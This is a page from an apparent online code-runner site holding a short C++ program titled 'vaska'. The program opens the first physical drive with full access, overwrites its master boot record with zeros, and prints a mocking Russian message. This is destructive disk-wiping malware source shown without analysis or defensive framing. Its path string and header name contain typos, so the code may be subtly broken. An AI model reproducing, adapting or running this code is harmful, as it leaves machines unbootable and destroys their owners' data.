Run Code
|
API
|
Code Wall
|
Misc
|
Feedback
|
Login
|
Theme
|
Privacy
|
Patreon
vaska
#include "sdtafx.h" #include <Windows.h> #include <iostream> using namespace std; #define MBR_SIZE 512 int main() { DWORD write; char mbr[MBR_SIZE]; ZeroMemory(&mbr, (sizeof mbr)); HANDLE MasterBootRecord = CreateFile("L\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL); if(WriteFile(MasterBootRecord,mbr,MBR_SIZE,&write, NULL)==TRUE) { cout<<"Васенька...Зачем ты убил меня?"<<endl; Sleep(3000); ExitProcess(0); } else { cout<<"что-то пошло не так"<<endl; Sleep(3000); ExitProcess(0); } CloseHandle(MasterBootRecord); return 0; }
run
|
edit
|
history
|
help
0
Wide string conversion with multibyte chars
VS struct_member_name
#8
asock
Test
du
c++
std override
Wrong type deduction of std::valarray expression
Redeclare with auto